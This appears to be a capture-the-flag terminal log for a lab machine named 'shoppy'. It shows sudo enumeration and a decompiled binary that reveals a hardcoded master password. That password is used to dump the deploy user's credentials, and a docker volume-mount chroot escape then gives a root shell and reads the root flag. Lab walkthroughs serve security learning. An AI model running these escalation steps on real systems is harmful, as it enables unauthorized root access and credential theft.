jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Sorry, try again.
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
jaeger@shoppy:~$
bool main(void)
{
int iVar1;
basic_ostream *pbVar2;
basic_string<> local_68 [32];
basic_string local_48 [47];
allocator<char> local_19 [9];
pbVar2 = std::operator<<((basic_ostream *)std::cout,"Welcome to Josh password manager!");
std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar2,std::endl<>);
std::operator<<((basic_ostream *)std::cout,"Please enter your master password: ");
std::__cxx11::basic_string<>::basic_string();
/* try { // try from 00101263 to 00101267 has its CatchHandler @ 001013cb */
std::operator>>((basic_istream *)std::cin,local_48);
std::allocator<char>::allocator();
/* try { // try from 00101286 to 0010128a has its CatchHandler @ 001013a9 */
std::__cxx11::basic_string<>::basic_string((char *)local_68,(allocator *)&DAT_0010205c);
std::allocator<char>::~allocator(local_19);
/* try { // try from 001012a5 to 00101387 has its CatchHandler @ 001013ba */
std::__cxx11::basic_string<>::operator+=(local_68,"S");
std::__cxx11::basic_string<>::operator+=(local_68,"a");
std::__cxx11::basic_string<>::operator+=(local_68,"m");
std::__cxx11::basic_string<>::operator+=(local_68,"p");
std::__cxx11::basic_string<>::operator+=(local_68,"l");
std::__cxx11::basic_string<>::operator+=(local_68,"e");
iVar1 = std::__cxx11::basic_string<>::compare(local_48);
if (iVar1 != 0) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"Access denied! This incident will be reported !");
std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar2,std::endl<>);
}
else {
pbVar2 = std::operator<<((basic_ostream *)std::cout,"Access granted! Here is creds !");
std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar2,std::endl<>);
system("cat /home/deploy/creds.txt");
}
<<snipped>>
iVar1 = std::__cxx11::basic_string<>::compare(local_48);
if (iVar1 != 0) {
pbVar2 = std::operator<<((basic_ostream *)std::cout,
"Access denied! This incident will be reported !");
std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar2,std::endl<>);
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 17 months ago 5.53MB
deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/root.txt
b9402724d139<<snipped>>
#